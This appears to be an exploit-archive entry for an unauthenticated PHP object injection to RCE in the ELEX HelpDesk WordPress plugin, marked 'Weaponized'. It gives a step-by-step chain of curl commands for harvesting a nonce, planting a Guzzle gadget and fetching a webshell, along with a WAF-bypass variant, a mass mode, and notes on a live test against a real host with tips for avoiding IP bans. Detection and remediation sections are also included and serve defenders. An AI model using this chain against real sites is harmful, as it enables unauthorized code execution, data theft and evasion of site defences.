ELEX HelpDesk WordPress Plugin — Unauthenticated PHP Object Injection to RCE (CVE-2026-119077)
Published: 2026-11-25 • Researcher: 0xfay (im0xfay) — PoC, analysis and lab; ELEX (plugin vendor)
- Severity
- Critical
- CVE
- CVE-2026-119077
- Category
- web
- Affected product
- ELEX HelpDesk & Customer Support Ticketing System — WordPress plugin (elex-helpdesk-customer-support-ticket-system)
- Affected versions
- All versions up to and including 3.3.9 (NVD); fixed in 3.4.0, released 2026-11-12, per upstream research. The ingested NVD record had empty product/version-range lists — see references.
- Disclosed
- 2026-11-25
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-119077
- https://github.com/im0xfay/CVE-2026-119077
- https://plugins.trac.wordpress.org/browser/elex-helpdesk-customer-support-ticket-system/tags/3.3.8/includes/class-crm-init-handler.php#L529
- https://plugins.trac.wordpress.org/browser/elex-helpdesk-customer-support-ticket-system/tags/3.3.8/includes/class-crm-ajax-functions-two.php#L156
- https://plugins.trac.wordpress.org/browser/elex-helpdesk-customer-support-ticket-system/tags/3.3.8/includes/class-crm-public-functions.php#L822
- https://wordpress.org/plugins/elex-helpdesk-customer-support-ticket-system/
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-25 |
| Last Updated | 2026-11-13 |
| Author / Researcher | 0xfay (im0xfay) — PoC, analysis and lab; ELEX (plugin vendor) |
| CVE / Advisory | CVE-2026-119077 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS v3.x per NVD; the ingested record carries the score only, no vector — see references) |
| Status | Weaponized |
| Tags | RCE, unauthenticated, WordPress, PHP-object-injection, CWE-502, deserialization, Guzzle, webshell, WAF-bypass, ModSecurity |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | ELEX HelpDesk & Customer Support Ticketing System — WordPress plugin (elex-helpdesk-customer-support-ticket-system) |
| Versions Affected | All versions up to and including 3.3.9 (NVD); fixed in 3.4.0, released 2026-11-12, per upstream research. The ingested NVD record had empty product/version-range lists — see references. |
| Language / Platform | PHP (WordPress plugin; bundles Guzzle 7 in its own vendor/ tree). Lab: wordpress:php8.1-apache, MySQL 8.0, Linux x86_64 |
| Authentication Required | No |
| Network Access Required | Yes |
Summary
The ELEX HelpDesk and Customer Support Ticketing System plugin for WordPress registers its ticket-creation AJAX action for unauthenticated visitors, and the only gate is a nonce that the plugin publishes in the page source of any page carrying the support shortcode. The ticket form parameter is parsed into an array and stored as ticket meta, then read back through an unserialize call that has no allowed-classes restriction, so an anonymous attacker can plant a serialized Guzzle cookie jar object whose destructor writes an attacker-chosen file. That file write lands a PHP block inside the web root, giving unauthenticated remote code execution as the web server user, and the upstream lab reproduced it three times. One anonymous GET to harvest the nonce plus one anonymous POST is enough, and the author also validated a ModSecurity CRS bypass for the same payload.
Vulnerability Details
Root Cause
eh_crm_new_ticket_post is registered for both wp_ajax_ and wp_ajax_nopriv_ (includes/class-crm-init-handler.php:51-52), so guests reach CRM_Ajax_Two::eh_crm_new_ticket_post(). The handler only checks a nonce, and that nonce is localized into support_object on any page rendering [wsdesk_support] (includes/class-crm-init-handler.php:266) — there is no authentication or session binding, so a single anonymous GET harvests it.
Inside the handler the form POST parameter is passed to parse_str(), the resulting values are stored as ticket meta, and the auto-email/read path calls eh_crm_get_ticketmeta() → unserialize() without an allowed_classes restriction (includes/class-crm-public-functions.php:875). The plugin bundles Guzzle 7, so a stock GuzzleHttp\Cookie\FileCookieJar gadget is available: __destruct() → save() → file_put_contents(). Guzzle wraps the body in a JSON array, but PHP still executes any <?php ?> block inside the written file, so the result is a working webshell.
Attack Vector
- Anonymous
GETto any public page with the[wsdesk_support]shortcode, readingsupport_object.nonce. - Anonymous
POSTto/wp-admin/admin-ajax.phpwithaction=eh_crm_new_ticket_post, the harvested nonce, and aformbody in which an allowlisted custom-field slug carries the URL-encoded serialized object.
Two quirks matter: WordPress slashes $_POST and parse_str() decodes a second time, so quotes must be sent pre-encoded as %22 and the whole payload encoded again; and the injection key must be a live custom-field slug, because 3.3.9’s allowlist unset()s the default keys. The ticket_label key named in the NVD description only works on 3.3.8, which has no allowlist.
Impact
Remote code execution as the web server user (www-data in the reference lab), via an attacker-controlled .php file in wp-content/uploads/. A compromised WordPress install exposes the database credentials in wp-config.php, all site content and user data, and any files readable by the web user; the same write primitive is a persistence path (mu-plugins, .user.ini) if uploads are not executable.
Environment / Lab Setup
OS: Linux x86_64 (Docker)
Target: wordpress:php8.1-apache + plugin 3.3.9 (lab/plugins/vuln),
MySQL 8.0; published on 127.0.0.1:8137
Optional: owasp/modsecurity-crs:apache (CRS 4.30.0, paranoia 1, inbound
anomaly threshold 5) in front of WordPress on 127.0.0.1:8187
Attacker: Python 3 with requests, same host or LAN
Tools: docker compose, curl, python3, wp-cli (installed by setup-lab.sh)Setup Steps
| |
The patched build is used as a negative control by switching the compose volume from ./plugins/vuln to ./plugins/patched.
Proof of Concept
Step-by-Step Reproduction
Harvest the nonce — the value is emitted as JSON on the support page:
Shell script1 2curl -s http://127.0.0.1:8137/ | grep -o '"nonce":"[a-f0-9]*"' # "nonce":"91c533e637"Check the build (one request, no custom field needed) — the 3.4.0 guard inspects every parsed form value before the allowlist, so a throwaway key with a serialized object distinguishes builds:
Output1 2POST /wp-admin/admin-ajax.php action=eh_crm_new_ticket_post form=request_email=probe@example.com&request_title=T&request_description=d&zzzboguskey=O%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22...{"status":"error","message":"Invalid form data."}→ PATCHED (≥ 3.4.0);{"status":"success",...}→ vulnerable.Enumerate live form slugs —
POST action=eh_crm_new_ticket_formwith the nonce; the returneddata.pagelists the field names. Exactly one custom-field slug is the injection key (deptin the standard lab).Generate the gadget — the payload builder prints the serialized Guzzle chain:
Shell script1python3 wsdesk_payload.py /var/www/html/wp-content/uploads/0xfay.phpSend the exploit POST —
action=eh_crm_new_ticket_post, the nonce, andform=...&dept=<urlencoded serialized payload>.poc.pyperforms the required pre-encoding and, on WAF-protected targets, switches to theS:-format / relative-path / superglobal-free variant.Fetch the shell:
Shell script1curl -s 'http://127.0.0.1:8137/wp-content/uploads/0xfay.php?a=id'Or run the whole chain with
python3 poc.py -u http://127.0.0.1:8137 --exploit.
Exploit Code
See
poc.py(main tool: discovery, build oracle, field discovery, exploit stages, WAF strategy, mass mode) andwsdesk_payload.py(GuzzleFileCookieJargadget generator, standard andS:-format variants). The lab lives inlab/and the field notes inanalysis/.
The gadget is built without PHPGGC, using only classes the plugin already autoloads:
| |
The payload is placed in the ticket form under a live custom-field slug and POSTed to admin-ajax.php with action=eh_crm_new_ticket_post and the nonce.
Expected Output
| |
Through the ModSecurity CRS front end the same result is returned with the WAF bypass strategy, and the raw written file contains <?php passthru(base64_decode('aWQ=')); ?> wrapped in the cookie JSON.
Detection & Indicators of Compromise
- Unauthenticated
POST /wp-admin/admin-ajax.phpwithaction=eh_crm_new_ticket_post, especially with an oversizedformvalue containingO:31:"GuzzleHttp\Cookie\FileCookieJar",%00private-property markers, or PHPS:-format escapes (\00,\5c,\22). GETrequests to newly created.phpfiles directly underwp-content/uploads/,wp-content/cache/, orwp-content/mu-plugins/with a query string such as?a=id.- New files in
wp-content/uploads/whose body is a JSON cookie array containing a<?php ... ?>block. - ModSecurity hits: CRS
920270(raw NUL),930120(phrasevar/www),933130(phrase$_GET), and949110(inbound anomaly threshold) onadmin-ajax.php; a 403 followed by a different 200 often means the WAF bypass variant was used. - PHP fatal
RuntimeException: Unable to save fileor HTTP 500 from the AJAX endpoint (write attempted against a non-writable uploads directory). - Response
{"status":"error","message":"Invalid form data."}indicates the patched build rejected the serialized input.
Example access-log signature:
| |
ModSecurity-style rule (example):
| |
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade elex-helpdesk-customer-support-ticket-system to 3.4.0 or later (released 2026-11-12). The fix adds eh_crm_has_object_or_serialized_object() / eh_crm_safe_unserialize() in front of 26 sinks and rejects the payload — including the WAF-bypass variant — with Invalid form data. |
| Workaround | Deactivate and remove the plugin if it is not required; removing public pages that carry [wsdesk_support] hides the nonce but does not close the unauthenticated AJAX endpoint. A ModSecurity CRS rule stops the documented plain payload only — the author validated a bypass — so treat WAF rules as defence in depth, not a fix. |
| Config Hardening | Block PHP execution in wp-content/uploads/ (and make it non-writable by the web user where possible), set DISALLOW_FILE_MODS/DISALLOW_FILE_EDIT, run the web user with least privilege, alert on new .php files under wp-content/, and keep WordPress core and all plugins current. |
References
- CVE-2026-119077 — NVD
- im0xfay/CVE-2026-119077 — source PoC and lab
- Plugin source 3.3.8 — includes/class-crm-init-handler.php (AJAX registration and nonce)
- Plugin source 3.3.8 — includes/class-crm-ajax-functions-two.php (ticket POST handler)
- Plugin source 3.3.8 — includes/class-crm-public-functions.php (ticket meta / unserialize path)
- WordPress.org plugin directory — ELEX HelpDesk
Notes
Auto-ingested from https://github.com/im0xfay/CVE-2026-119077 on 2026-11-25. Review verdict: genuine, self-contained exploit PoC (not a detector or scanner) — the repository contains the gadget builder, the unauthenticated POST chain, a Docker lab with a vulnerable and a patched build, and recorded evidence; status Weaponized. MIT licensed (Copyright (c) 2026 0xfay / im0xfay); the LICENSE file is included.
Limitations and caveats: exploitation requires at least one admin-defined custom field whose slug is in the live form — a clean 3.3.9 install with only the three default fields is not exploitable, and the ticket_label key named in the NVD description is reported by the author to work only on 3.3.8 (which lacks the allowlist). The in-request trigger needs the default auto-send-email setting; with it disabled, the object persists in ticket meta and fires on a later read (cron or agent ticket view), which the author validated separately. The WAF bypass was validated only against ModSecurity CRS 4.30.0 (paranoia 1, threshold 5); Imunify360/CloudLinux signatures, multisite, subdirectory installs and PHP 7.x were not tested. A live validation against a real host ended PATCHED (no RCE), and the target banned the scanner IP after roughly 15 serialized POSTs — prefer the single-request build oracle.
Archived files: 15 total, including poc.py, wsdesk_payload.py, lab/, analysis/ field notes and evidence, the full report and the upstream README. Not copied: .git, the plugin zips (downloaded by lab/setup-plugins.sh), DORKS.md and tools_verify_hits.py (FOFA targeting and host-ranking/scanning aids rather than exploit code), analysis/intel.md, analysis/self-attack.md and analysis/rce-final.txt. No exploit code was executed during ingestion. Use only against systems you own or have written authorization to test.
| |